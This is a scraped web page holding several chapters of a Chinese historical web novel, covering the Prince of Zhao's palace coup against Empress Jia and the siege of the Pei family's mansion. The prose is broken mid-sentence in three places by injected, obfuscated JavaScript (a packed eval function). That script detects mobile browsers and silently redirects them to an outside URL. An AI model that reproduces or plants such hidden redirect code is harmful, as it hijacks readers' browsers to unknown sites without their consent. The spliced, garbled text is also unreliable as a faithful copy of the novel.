;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032082|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“那帮贼人似有备而来,个个都是练家子,平常的部曲不是他们的对手。且,我和阿衢的钱袋子都扔给他们了,他们居然还穷追不舍地上来打人!” 练家子?专门来揍人? 孙秀拈须,眼中精光一凝,问儿子:“你之前与张家起了龃龉,近日可有惹过人家?” 提到这茬孙会就来气:“我要是惹过反倒好了。那张二郎跟缩头乌龟似的,回京没几日就滚回凉州去了,我倒是想找他算账也够不着啊!” 孙秀皱眉,不是张家?他用审视的眼光上下打量这个不大成器的独子。 孙会只觉后背一凉。 果然,听他老子厉声训道:“我跟你说过什么?多事之秋,让你没事别出去晃荡,更不要动不动就得罪人。你这是又惹上了谁家?京城里鱼龙混杂,咱们孙家将将起势,这个节骨眼上,就不能消停点?” 孙秀点着儿子肥硕的脑门,道:“你就不能学学人家张茂?把本事用在该用的地方?” 得,诉苦不成,反惹一身骚。孙会摸摸鼻子,低头认怂。 至于孙衢,孙秀也觉对不住这个侄子,但是又想到儿子这般不成器,跟这个小子怂恿怕也有关系。人嘛,心总是偏的,明明自己的儿子不是个东西,却总想把锅推到旁人身上。 “阿衢身上的伤需静养,我南郊有个庄子,便送与你做养伤之用吧!” 孙秀这是把自己的别庄当谢礼送了,顺便把侄子和儿子远远地隔开来。 孙衢这一房原本就是仰仗长房生存,孙秀京郊的庄子少说也值百金。伤一条腿就能换一个百金的庄子,值了! 孙衢赶紧谢过。 孙秀却揪着孙会径直去了书房,压着他把这几天的行踪事无巨细都汇报了一番——气归气,但到底是谁胆大包天伤了他的宝贝儿子,他还是要调查清楚的! 孙秀到底老奸巨猾,在与孙会复盘的过程中,发现唯一可能起冲突的地方,大概就是万锦楼弄死伎子的事了——孙会也确实是在出了万锦楼后就出事的。 万锦楼?石崇? 孙秀冷笑,还真是冤家路窄! …… 凉州府治姑臧。 虽说春风难度,但随着日头渐长,雪水消融,姑臧城里也渐渐草木葱茏起来,一派迟来的春景。 刺史府外书房,张茂将拟好的公文递与一旁的司马宋配。 宋司马看过后,点头道:“二郎思虑详尽,某便按这个来。” 凉州初定,处处急需人才。 张茂趁着父亲张轨清醒时,与之探讨过后,决定施教化于河西,征兆九郡贵胄子弟百人,建立学校,仿照洛阳太学,设崇文祭酒,位同别驾,春秋两季以文、射选士。 此举既能为国抡才,又尽纳士族子弟于囊中,不失为笼络人心的好法子。 宋配是张轨身边的老人了,可以说是看着张家兄弟长大的。如今张轨突然遇袭,张寔因为质子之身,赶不回来,故而偌大的凉州,庶务尽数压在了匆匆赶回的二郎张茂身上。 原以为年轻人做事冒进,没想到不过几日,张茂便将凉州城的大小事务分管得井井有条,对他们这些老臣的意见,也能悉心听取。 宋配满意地点头——有子若此,主公何愁家业不继?同时,也有一丝忧虑——二郎贤哉,却不是长子。眼见着张家家业越来越大,只盼大郎和二郎兄弟俩能一直这般兄友弟恭,毫无嫌隙。 张茂不知他所想,却问起了另一件事,送往洛阳的端阳节礼可到了? 宋配一愣,不意他会问起这个:“算算日子,也该到了,想来月底能有回信。” 张茂点头,不自觉地将手搭上右腕,那里有裴妍随家信寄来的一条新编的长命缕。 他抬头向殿外看去,西北的春日不若洛阳多雨,艳阳直勾勾地舔着刚刚复苏的土地,隐隐能看到黄沙下掩埋的星星点点绿意。 如今的洛阳城里一定热闹非常,郎君和仕女们都关上了轻薄的春衫,除了踏青和准备寒食的物事,京城上下还要为下月的端阳节做准备。 赌坊一定是最忙的,郎君们抢着为自己看好的船老大下注助阵,女郎们则忙着给家人编五色绳,还要采箬叶裹角棕。 张茂抚着腕上的丝带,想着裴妍为她一丝一缕编织手绳的样子,嘴角不禁漾出一丝浅浅的笑意。 他想裴妍了。 57. 玉树歌残芳菲尽,赵王兵合椒房空…… 张茂的猜想对也不对。 对于洛阳城里的寻常人而言,今年的春日与往年并无不同——踏青的踏青,寒食节要备下的五色食盘也不能少。 船老大早在寒食之前就开始组队演练,洛河里常能看到训练的木船来回穿梭。 赌坊确实更忙了,里面压注的儿郎简直杀红了眼,都坚信自己下注的那支船队能摘得头筹。 闺中的女儿们,也潜下心来,给自家的郎君编彩绳、打穗子,你抄我的花样,我学你的手艺,好一派盛事春景。 裴妍却是最闲散的一个。她的几个哥哥都成家了,自有嫂子照应。她又不似裴妡那样,未婚夫就在身边,动不动就要密会一番。 若非张茂每半月来一封平安信,她简直快无聊死了。 “这日子,好生无趣!”她对来看她的裴娴吐槽。 裴娴肚子已经很大了,约莫再过三月便要临盆。她白了裴妍一眼,抚着自己的大肚子道:“你就惜福吧!这样的日子过一天少一天。等你嫁给张二郎就知道,闺中的日子有多惬意。你看看我,家里一堆庶务要管,晚上还得伺候我家男人。好不容易出来一趟,肚子里还带着一个。我倒是想像你这般无所事事,也不能了!” 裴妍啐了她一口,脸上娇红,又是男人又是孩子的,她还在闺中呢! 然而若干年后,历经乱世风雨的洗礼,老来的裴妍与裴娴满头银发,对坐殿中吃茶闲聊,提起这段往事,不免唏嘘。 谁能想,那十几年看似无趣的日子,竟是这盛世最后的余晖,成了往后余生,求而不得的太平时光。 这世上,总有些人,如潜在暗处的鬼魅,看不得人间太平。为了一己私利,铤而走险,甚至不惜颠覆日月。 他们才是最大的赌徒——以性命为赌注,以家国为骰子。苍生?黎民?不过是脚下的蝼蚁,死了也就死了。 一切,都在暗中进行。 这日,贾后起床,右眼一直跳个不停。 “晦气!”她皱眉。 女官宋舞见状,便想请医正来瞧瞧,却被贾后止住:“本宫倒要看看,在本宫的眼皮底下,哪个魑魅魍魉敢为祸!” 贾后掌权十余载,早已自负得过了头,认为一切尽在掌握之中。 这日白天也确实如往常一般,太平无事。 贾后照常处理了一天的事务,入夜还招贾谧叙了话,直到夤夜才放人出宫。 一天无事,宋舞悬着心的终于放了下来,小心翼翼地服侍皇后睡下。 变故,来得猝不及防。 夜深人静时,也是豺狼出没的好时候。 这日夜半,一声惊雷打破沉静,贾后自梦中陡然惊醒,正欲唤人,女官陈舞却突然自殿外跌跌撞撞而来,大呼:“娘娘,殿外有……有大批甲士!” 雷声殷殷,贾后惊坐而起,细听之下,果然有阵阵混乱而嘈杂的脚步声伴随着铁甲摩擦的锃锃钝响由远及近。 “禁军呢?董猛何在?”贾后厉声质问。 然而,原本应该守在门口的禁卫军却是一个也不见,殿门外倒是响起一众黄门与宫女四散窜逃的呼救和惨叫声——那批甲士迅速攻破椒房殿的大门,见人就砍,不留活口。 原本静谧的宫室瞬间鬼哭狼嚎。 夜色晕黑,浓墨一般的乌云如一顶密不透风的帐幕,牢牢罩在皇城顶上。 贾后自雕花隔窗的缝隙望去,恰见到一个奔逃不及的宫女被身后的将领一剑穿心,呼救声不及出口,便如飘摇的落叶般扑倒在地。而这宫女的脚边,正斜躺着一个死人——黄门令董猛! 贾后心头一跳,面上露出难以置信的惶恐——那将领她认得,分明是赵王心腹、中护军司马澹…… 一旁的陈舞吓得瑟瑟发抖,眼见着仅剩的守在门口的两个心腹宫女被疾奔而来的铁甲兵士一刀劈落,鲜血喷涌而出,溅在了内室的门槛上。 整个椒房殿守卫空虚,甲士轻而易举地血洗殿外的黄门宫女后,终于,看到了隐于内殿的贾后和陈舞…… 墨云翻滚,无星无月的夜色浓黑无极,山雨欲来,劲风裹挟着未落的水汽,摇晃着钜鹿郡公府高悬的宫灯。 多年宦海,裴頠似有所感应,暗夜中心绪紊乱,翻来覆去,无法入眠。 王氏被他扰醒,揉着睡眼问他:“夫君可有烦心事?” 裴頠未答老妻,而是撑着头坐起,雕花琉璃的窗纸印着婆娑的树影,他看了眼榻边的铜镜,幽幽地说了一句:“总觉得以后不能再看到自己了。” 吓得王氏以为他魇住了,赶紧啐他一口,又命下人把房里的铜镜移走,晦气! 不成想,这句模糊的自喃,竟一语成谶! 这夜,天将亮未亮之时,钜鹿郡公府门外突然被大批军士重重包围,看装束,竟是三部司马麾下。 未等部曲来报,容秋便遥遥听见府外人马嘶鸣,她赶紧爬下床榻,头贴地面,听了一会,起身之时,眼锋锐利,一声口哨,门口便闪出一个双寰的小丫头来。就听容秋道:“飞鸽与张刺史府,钜鹿郡公府今夜恐生变故。” 裴妍被容秋摇醒,睁眼时,只见外头灯火通明,院门外雷声隐隐,中间夹杂着鼎沸的人声,一时间还以为天亮了。 可容秋却摇着头,急道:“离天亮还有一个时辰,只是家里怕要出事了!” 裴妍心下一凛,正待细问,突然,自门外蹿来一个婢子,向裴妍疾奔而来。裴妍认出,她是裴妡身边的的婢女,名唤夕岚。 容秋一凛,赶紧上前扶住她。就听她上气不接下气地道:“不好了,夜里先是有个黄门,号称奉娘娘口谕,接郎主入宫商讨要事。郎主前脚刚走,后脚府里就被一队军士围住了。” 裴妍一听,既惶惑又震惊:“何人如此大胆,我家也敢围?” 容秋却心中一动,猜测必是出了大事。 裴妍问夕岚:“阿妡呢?” “郎主、夫人还有几位郎君都在前院与来人对峙,二娘闻声也过去了。临走前派奴来给长房报信。” 又是一声惊雷炸响,一道闪电宛若游龙,自头顶劈裂而过。 廊下的宫灯明灭不定,恍惚之间,一队人影自廊外疾行而来。 原来是郭夫人,在定春的搀扶下,颤颤巍巍地赶了来。 见到裴妍,小郭氏一把将女儿揽在怀里,颤声道:“阿妍,朝里怕是变天了。我去前院探看动静,你万不可出去。” 裴妍却推开母亲,摇头道:“你们都去外面了,把我一个人留在这里,我反而害怕。不若我和阿母同去。” 小郭氏拿不定主意,裴妍却拉着母亲的手,径自向外走去。 头顶的春雷一声盖过一声,如敲着战鼓的狂士,伴随着明明灭灭的闪电,于劲风中狂舞。 裴妍心内狂跳,她匆忙起身,未及梳妆,披散的长发被疾风撩起,四散在眼眸脖颈之间。 她恍若未觉,一路拽着母亲疾行,想着赶紧与二婶、兄长还有妹妹汇合。好似只要他们在一起,便没有什么可怕的。 裴妍赶到外院时,只见府中部曲纷纷执剑朝外,见到她和郭夫人来了,队正裴池赶紧将她带到了外间女眷处,是前院的一处厢房——裴家的男人还在,断没有女眷出去拦人的道理。 和裴妍一样,小郭氏见到王夫人,心便定了些,虽说妯娌之间多计较,但遇到大事,一大家子人还是抱团取暖的好。 烛火昏黄,明灭不定,窗外鱼肚泛白,更印得屋里女眷脸色煞白。 春日夜凉,干雷打了半宿,虽未落雨,但水汽不减。 女眷们裹着大氅,蜷缩在锦垫之上,惶惑地竖着耳朵,听着外面的动静。 裴妡的身边坐着崔华堂、始平公主还有柳蕙。 诸人脸色都很不好,尤其始平公主,眼圈泛红,显然将将哭过。 裴妍赶紧悄声问裴妡情况。 裴妡虽作镇定,实则心内同样惶惶。她回头看了眼公主,眼角泛红,小声道:“原应守宫门的三部司马却突然派了一队军士围住我家,如今想来,阿耶入宫也颇蹊跷。说不得,宫里,出大事了!” “有娘娘在,能出什么事?”裴妍想当然道。 裴妡一把捏住她的手,就听身后的始平公主又哽咽起来,显然她也在听。 裴妍后知后觉,这才想明关窍,不可置信地看向堂妹,压低声音道:“你是说,娘娘她……” 裴妡微微点头,面色凝重,泛红的眼尾隐有泪意:“若非如此,何人敢动吾家!” 女郎们嘀嘀咕咕的时候,小郭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035077|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏也从王夫人处探到了消息,吓得腿脚发软。 她是经历过三杨族灭的,庞氏的诅咒言犹在耳。一时间,她只觉天旋地转,六神无主,想到自己那未满周岁的孙儿,突然起身道:“不行,我得把孩子放到外家去。郭家掌兵,庇护几个孩子不成问题!” 王夫人白了她一眼,郭家?那也是皇后的外家,皇后有事,郭家能不被牵连?没看到只是表亲的裴家都被围了吗? 只是这位毕竟是自己嫂子,她只好耐着性子,安慰道:“已经连夜从后面送出去了。不然,你以为孩子们都去了哪儿?只是郭家路远,安全起见,连带着你家那个小的,都送去了我阿耶那里。” 小郭氏这才定睛环视了一圈屋里,确实,不管是长房还是二房,一个孩童也不见。再看儿媳柳蕙,亦暗暗向自己点了点头。这才知晓原来王夫人早就想到了这层,反倒是自己着相了。 她脸上有些发燥,却也大大地舒了口气。然而看到身边亭亭玉立的女儿,她担忧地对王氏道:“阿妍和阿妡也该送走才是。” 王氏摇头,叹道:“小儿好藏,她俩,却是无法。” 小郭氏垂眸,是啊,王氏作为当家主母,能当机立断地在阖府被围前将几个稚儿送走,已是偷得的侥幸。可是,她眼皮一跳,突然想到,万一王家不肯收留怎么办? 她意味深长地瞥了王氏一眼,当初太子和太子妃可是说和离就和离,说毁婚就毁婚的。 王氏当然明白小郭氏那一眼的含义,这让她心气很是不顺。作为琅琊王氏族长家的嫡女,她对家里还是极度信任的。 她不欲理会这个混不吝的嫂子,干脆转了一面,闭目养神。 小郭氏却忍不住对王夫人道:“除了本家和外家,裴妃那里,最好也告知一声。她兴许有办法。” 王夫人却双目微阖,只作未闻。 小郭氏说到后面,声音越来越低。也是,如今阖府被围,她们上哪儿告知东海王府? 何况,她女儿跟人家东海王世子已然解除婚约了,裴妃如今只是与他家私交甚好的一个族姐而已。平日大家走动得勤些也就罢了,如今生死关头,人家凭什么冒着家门倾覆的风险来帮你? 小郭氏讨了个没趣,张了张嘴,到底没敢多问,只好跟着坐下等消息。 墨云滚滚,如潜在海底的礁石,随着时明时暗的闪电在空中撕扯出诡异多变的形态。疾风吹花了府门前的宫灯,钜鹿郡公府的牌匾隐在晦暗的夜色中。 雕花的朱门紧闭,石阶前,裴家的三位郎君正领着诸部曲与门口的兵士对峙。 裴憬虽然年长,但历事不多,真正主事的还是裴崇。 尽管裴崇一样惶惑震悚,但是父亲不在,他就是家里的顶梁柱——门内是他的母亲妻子妹妹,他断不能让这些荒怆武将冲撞了她们,让家门受辱。 裴崇再次厉声质问打头的武将:“究竟何人派尔等前来?钜鹿郡公府门前岂容放肆!” 然而,不管他问多少遍,那个打头的将领却一味地避在甲士之后,不肯上前相见,甚至不敢自报家门,只命手下围而不攻。 裴崇的心沉到谷底,这么围着,外面的消息进不来,里面的消息传不出去,探不着底,摸不着边,最是磨人。 “欺人太甚!”裴该手扶利剑,就要出去与那打头的校尉理论。曾几何时,他这个皇后女婿、驸马都尉到哪里都被人追捧着,何曾尝过囚徒的滋味? 裴崇和裴憬赶紧拦住他。对方人多势众,又全副武装,即便是裴府部曲众多,也不敢与朝廷的军士硬碰硬。 何况,如今形势不明,怎可贸然起冲突? “阿弟忘了阿耶的嘱托?”裴崇小声提醒裴该。 裴頠临出门前,特地派小厮传话与长子,命他和兄弟们“静观其变,守身惜命”。 想到父亲的话,裴该才算冷静下来。 裴崇和裴憬这才渐渐松开手。 黑压压的甲士将钜鹿郡公府围得水泄不通。 裴憬抬头看了眼远处琉璃金瓦的皇城阙楼,担忧道:“不晓得阿叔如何了?” 回答他的只有门外战马的嘶鸣,和他身后小声议论的部曲奴仆。 没有人知道如今郎主在哪里,以及,宫里到底发生了什么? 58. 树倒猢狲不及散,一朝天子一朝臣…… 暗夜无极,晦暗的宫灯映照在宫门的铜把手上。 狭长的甬道上站满了昼警夕惕的兵士,曾经穿梭不已的宫娥黄门,似乎一夜之间被肃得干净,地面来不及清洗,浓重的血痕凝成淤块,在蒸腾而出的水汽里散发着浓烈的腥气。 “逸民?逸民!”裴頠在一阵剧痛中转醒。 他勉强睁开眼,视线逐渐变得清晰,张华焦灼地脸正悬于他的上方。 他捂住犹自疼痛的后脑缓缓坐起,待适应黑暗后,才看清,原来他正身处一间空荡的宫室内,门窗紧闭,不见光亮,身下凉意袭人,自己正坐在冰凉的地砖上。 方才是张华在推他。 只见张华进贤冠歪斜,鬓发散乱,玄底赤边的朝服外袍似被撕扯过,凌乱地套在他瘦削的身上。 他在张华的搀扶下,极为艰难地挪到柱子边靠着,环视四周,不见来人,门窗早被人封死,门口有军士来回巡逻的走动声。 “娘娘呢?”他没有问张华缘何在此,而是第一时间问起贾后。 张华叹了口气,摇头不语。 裴頠自知,贾后怕是与自家差不多,皆是凶多吉少。 昨夜,他得宫中宣召后,匆匆随黄门入宫,刚进宫门,便被一队军士围住。 他知大事不妙,却仍抱着一丝希望,要求面见天子。 谁知,对方将领突然朝自己身后使了一个眼色,他只觉后颈一痛,便失去了知觉,再醒来时,他已躺在这暗无天日的旧殿之中。 幕后黑手是谁?他看向身边的张华,心里已有猜测。 张华表情凝重,只幽幽说了两个字:“赵王。” 果然! 外面雷声阵阵,刺眼的电光犹如坟前的鬼火,透过轻薄的窗纸打在二人苍白的脸上,更衬得两位曾经的权臣面无血色。 “太子薨,诸侯乱。臣不臣,国不国!”张华倚柱长叹,眼底老泪纵横,清辉不复。 事已至此,凭他再能耐,也无力回天。 裴頠与张华虽一个出身世家,一个出身寒门,但入仕以来,俩人一直私交甚笃。 裴頠知道,张华这些年,背负着皇后佞臣的骂名,实则小心翼翼地守着这个摇摇欲坠的家国,尽己所能地平衡宗室、外戚、士族。不成想,到头来,还是功亏一篑。 知我者谓我心忧,不知我者谓我何求? 裴頠无奈摇头,他又何尝不是呢?他低头看向自己的右手,长年累月为政事操劳,握笔的指节处结了一层厚茧,未过不惑,却已鬓染白霜。 回想他的前半生,没有似别家士族浪荡子那样,将光阴耗在声色犬马中,而是无一刻不在为这个家国筹谋,到头来,他却沦为了宗室与外戚相争的筏子。 裴頠无力地仰靠在身后斑驳的梁柱上,脸上是从未有过的灰败,前尘过往,如走马观灯般,自眼前匆匆掠过——出身高门,少年成名,联姻外戚,袭爵封公,手握权柄,纵横捭阖,左右逢源,位极人臣…… 谁能想到,一朝落败,竟沦为阶下刑囚,生死难测。 怕死吗?他收掌成拳,死在他手下的人少吗?屠三杨的时候,灭汝阳王的时候,他又何曾问过他们怕不怕死? 想活吗?他仰头,任一滴浊泪滚落鬓边,事已至此,他已多次挡了赵王和其他诸侯的路,他们能让自己苟活吗? 枉他自诩聪明,临了,连生死都不由自己掌控。他这一生真是,天大的笑话! 与之相距不过百米的建始殿内,一群兵士正围着一个黑矮的妇人。 这妇人尽管头发散乱,钗鬓歪斜,织金的凤纹深衣凌乱地披在身上,但她仍勉力端坐席中,眼中锐气犹在,落魄之中仍有一丝上位者的气度。 “娘娘,离宫的时辰到了。”一旁的兵士小声劝道。 她毕竟曾是当堂话事的皇后,小兵不敢用强。 然而,贾南风仿如未闻,依然不为所动,那兵士没办法,只好去请队正。 负责押解贾南风的队正是孙会的另一个从弟,名唤孙薪。 孙家今朝得势,对于贾家这种秋后的蚂蚱一点不惧。 他进得殿内,看到端坐于席的贾南风,二话不说,一脚踹在她的心窝上,斥道:“都废为庶人了,还当自己是皇后呢?” 贾南风只觉胸口一阵钝痛,人也重重地跌落在地。她捂住心口,挣扎着起身,不可置信地望向来人,大怒:“就算本宫被废,也曾是天子发妻,诸公主之母。你这样无礼于我,不怕天子怪罪!” 孙薪冷笑一声:“天子自坐明堂,不日将另娶高门贵女。你这个丑妇,只配在金墉城里等死!至于你那几个女儿女婿,自有我们大王关照,就不劳你这个庶人操心了!” 听到女儿被点名,贾南风虎躯一震,难掩慈母心肠:“天子尚在,赵王何敢动公主!” “哈!天子?他对我家大王敬重得很,说到底人家才是一家子,不劳你这个外姓人操心!”孙薪得意道,“再告知你一声,好叫你死心。贾家一门,包括你那宝贝侄儿贾谧,皆已伏诛。还有姓张的和姓裴的两个狗腿子,也都在我们手里。你啊,翻不了身啦!” 杀人诛心,贾南风不是个好人,但绝对是贾家的领路人。 在她的心里,除了自己的几个女儿,最要紧的便是贾家人。 当听说贾家已然族灭时,她只觉五雷轰顶,矮胖的身子晃了晃,再也支撑不住,整个人颓然倒地,好似被抽去了精气神般,充满戾气的眸子瞬间失了颜色。 孙薪一挥手,两边的军士一拥而上,竟不顾礼仪,或抱头或抱脚地将贾南风抬走。 这位执政了十年的皇后,竟沦落到和她的婆婆同一个下场——流放金墉城。三日后,她们还会有更为相同的结局——死在那里。 旧人旧事即将落幕,新贵们便迫不及待地登场。 太极殿外,风雨欲来,黑沉的墨云似张开嘴的巨兽,即将吞噬这座充满冤孽的皇城。 赵王与梁王、齐王还有孙秀等心腹,正坐在夤夜新布置出的大殿里议事。 赵王端坐龙椅左下首位,于诸王公之上。他忍不住暗戳戳地乜斜了一眼侧手的龙椅,案前的烛火照在他极力压抑的眸子里,印出一丝嗜血的狂热。 齐王冷眼瞥了他一眼,心里鄙夷万分。 说起来,齐王还是贾后的姨侄,他的母亲贾褒与废后贾南风是同父异母的姊妹。但因二人不同母,贾褒与贾南风的关系并不好,甚至可以说有仇。加上先帝在位时,不少臣子曾建议废掉傻太子,立先齐王为嗣,因此,贾后在位时,对齐王这支颇为忌惮。 可以说,齐王之所以跟随赵王逼宫,大部分是为了自保。 但是齐王打心眼里看不上赵王和梁王这两个蠢货。就拿如今来说,政局未稳,赵王就抑制不住野心的想更进一步了,他也不看看这满朝文武、各路诸侯,谁服他! 不管别的诸侯怎么想,现如今,梁王是最捧赵王臭脚的那个。他素来与赵王交好。如今赵王取代了贾后,他这个做堂弟的,从龙之功是少不了的。他趁热打铁地进言道:“废后诏书已下,王兄当尽快搜捕贾逆余党!” 把人清空了,才好塞自己人不是! 齐王皱眉,谏言道:“旁人便罢了,司空张华与侍中裴頠,乃文士领袖,岂可轻易刑囚?” 这句话别人听了便罢了,偏赵王是个疑心重的。 张、裴二人得势时,一直是贾后的左右手,此前还一直反对赵王任中书令。 如今赵王好不容易逮到机会,抓了这两个眼中钉,齐王居然为他们求起情来。 莫非,齐王与这两家有什么勾连不成? 张华与裴頠在士林名声极响,若齐王得他二人支持,今后自己想进一步,岂不是会多个拦路虎? 孙秀偷偷觑了眼赵王阴沉的眸色,瞬间心中有数。 相比赵王,他与张、裴二人的仇怨更深,当初就是张华劝梁王杀掉自己谢罪。若非他机灵,早早投靠了赵王,得到赵王的庇佑,如今他的坟头草都老高了。 至于裴頠,哼,也不是好东西,他儿子前两年被打,里面可就有裴家人的手笔! 新仇旧怨聚在一起,此时不报仇更待何时? 于是孙秀反驳道:“这二人的才德都是贾南风捧出来堵天下人的嘴的。这些年来,他们帮着那个女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038679|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了多少见不得人的事?如今贾庶人终于被大王推翻,大王若不能肃清其奸党,日后必然后患无穷!” 赵王满意地撸须点头。 齐王看了眼这对唱双簧的主仆,对他们的鄙夷更多了几分。 人心思定,身为上位者,大变之后不寻思安抚人心,反而处处忙着排除异己,这样的人能干什么大事?只是如今赵王势大,他素来明哲保身,与张华和裴頠也没多少交情,没必要为了不相干的人跟赵王过不去,便不再多说。 赵王对张华倒没什么顾及,一介寒门,怎么杀都随他。他所顾及的唯裴頠而已。毕竟百年裴氏,不是他想动就能动的。 正巧赵王新招的手下里,有个叫裴绰的,亦是裴氏子,便连夜召了他来,问问他的意思,顺路探探裴家人的口风…… 夜色无极,墨云浸染,雷声隐去,雨水却仍是将落未落。 钜鹿郡公府的三个郎君一夜未睡,皆持剑立于檐下,眼底泛着焦灼的青黑。 哪怕裴憬,亦牢牢记得自己裴氏子的责任,未从门口退去半步,脸上是从未有过的惶惑与凝重。 守在府外的甲士于夜色中肃立,整整一夜,围而不攻地干熬着。 打头的将领终于现身——是一个身材精瘦的中年校尉。他眉头紧皱,脸色阴沉,既不冒进,也不退后,如看守囚犯般牢牢围着钜鹿郡公府的府门。 只有他身边的亲卫从他的眼里看出了一丝不耐——大王只令他们牢牢围住钜鹿郡公府,至于后续,却没有新的指令示下。大半夜的,他们在人家门口与裴家的三个郎君大眼瞪小眼,又被裴家的部曲出言叱骂,别提有多憋屈了! 这校尉正欲唤人去询问上令,突然听得远远传来一阵动静,起初只觉地面震动,随着队伍行近,他才从阵阵嘶鸣中赫然听出,这是一支骑兵! 长夜静谧,那队人马尽管偃旗息鼓,依然远远地勾起了他的警觉。他眉头一皱,手边的长剑缓缓出鞘,牢牢盯着巷口处,露出警戒之态。 他打头,手下亦纷纷端肃起来,长刀长枪纷纷横于身前。 裴该本持剑在前,见状,不禁退后几步,被身后的裴崇和裴憬接住。兄弟几个对视一眼,皆从对方眼中读出一丝惶恐。 生来便金尊玉贵顺风顺水的儿郎们,何曾见过这般阵仗? 暗夜的长巷雾霭沉沉,不多时,便见远处露出点点星光,自远而近。众人这才瞧清是一队全副武装的玄衣甲士!明火执仗,驾马疾行,几息之间,便行至府外百步处。 夤夜昏昧,无星无月,只府门口的几盏宫灯在狂风中摇曳,印出寥寥一点光晕。 裴崇上前几步,眯眼向那队人马看去。然而到底距离有些远,除了滋滋燃烧的火炬印出玄衣甲士锃亮的铠甲外,看不清打头人的样貌。 围在门口的将领却心头一紧,看这些人的服制,既非禁军,亦非三部司马的人,更不是赵王府的亲兵。这个时候,突然来了一队陌生的人马,只怕来者不善! 他硬着头皮打马上前,对为首的甲士高声询问:“汝奉何人之命来此?” 为首的甲士朝他利落地抱拳,声线清朗,带着稚气,语调不卑不亢:“某为凉州军副散部曲将,奉主公之命向钜鹿郡公府送小定之礼。” 说着,劲臂一挥,一队甲士将隐在队伍后面一担又一担的扎了红绸的紫檀木箱抬了上来,端端正正地堆叠在钜鹿郡公府门前。 竟是凉州刺史府! 围府的守军皆一怔,打头的将领颇觉头大。 他知道钜鹿郡公府门第清贵。 然而今夜,连贾家都被族灭,郭家、王家等但凡与贾家有姻亲的人家都悉数被困,就连裴家本支亦在忙着明哲保身,与裴頠撇清关系。 满以为钜鹿郡公府大势已去,无人可倚仗,只等他家大王一声令下,他们这些人就可以闯进去抄家拿人,顺便给自己捞点好处。怎么这个节骨眼上,突然跑出个凉州刺史来?还说什么送小定之礼?没听说钜鹿郡公与凉州刺史有姻亲啊! 此时,天边隐隐泛起鱼肚白,响了一夜的闷雷到底没有落下雨来。黢黑的长夜如强弩之末,终于走到了尽头! 59. 天翻地覆有时尽,玉碎宫倾万艳悲…… 裴憬在渐亮的光线里,依稀认出对面为首的甲士,试探着与他打招呼:“听风?来人可是听风?” 那马上的甲士看身影不过十几岁的少年,他浅笑着朝裴憬拱手,高声道:“仆听风,向诸位郎君问安!” 裴憬如获救星,转头与身边尚自迷糊的裴崇和裴该解释:“他是母亲安排在二郎身边的人,二郎来救咱们了!” 这个二郎,自然是张家二郎张茂了。 裴崇和裴该这才了然,亦朝着听风的所在拱了拱手。 自裴妍与东海王府解除婚约后,家主裴頠为避流言,并未立即答应张家的请婚。 然而两家对小儿女的婚事都已心照不宣,只等合适的时机对外公布而已。 如今,裴家蒙难,张家不仅没有如别的姻亲般袖手旁观,甚至不顾自身安危,第一时间赶来给裴家送小定之礼。既是对他家的声援,亦是对别有用心之人的警告,真真是雪中送炭! 这守将是孙秀的得力部下。知此事复杂,赶紧召来心腹,让他速去孙秀处禀报。 听风看了眼天色,对那守将抱拳道:“将军奉命围府,吾等无可置喙,不过眼看天要落雨,这十担吉礼万不可曝于外。将军可否行个方便,让吾等将吉礼送进府里,再做计较?” 天光虽渐白,但阴云压顶,疾风阵阵,撩起的泥土潮气袭人,确是落雨之兆。 那守将面有犹疑,既不敢开罪这帮凉州府兵,又不敢擅自放人进去。 听雨不依不饶,行至那守将身侧,低声道:“吉礼乃我家主君特意从凉州送来,若有闪失,将军可要向我家少主请罪了。” 那守将这才记起,凉州刺史虽不在京城,可张家大郎在啊!若那张大郎计较起来,他家大王不好得罪凉州刺史,定拿他顶罪,他这不是自讨苦吃? 只好松了口,亦小声回他道:“某只敢让出半个时辰,郎君莫要让某为难!” 听雨这才满意地朝他拱手,振臂一挥,领着一众凉州兵抬箱而入。 守在门口的裴家三兄弟亦以清点交接箱笼为由,引听雨入了府里。 “砰!”随着钜鹿郡公府大门开了又闭,方才还谈笑风生的听雨脸色骤变,一边随裴家三兄弟往女眷所在的内室走,一边抓紧时间,简明扼要地向诸人说起了外面的形势。 原来,昨夜赵王伙同梁王、齐王等心腹以为太子报仇兼清君侧之名,发起宫变。 如今贾后被囚于金墉城,鲁国公一家被灭门,郭将军家、王司徒家、张司空家亦和钜鹿郡公府一样被围。 张华和裴頠仍被困禁中。 在场诸人包括裴妍在内,此前都隐隐猜到了局势。 然而猜测是一回事,确认又是另一回事。 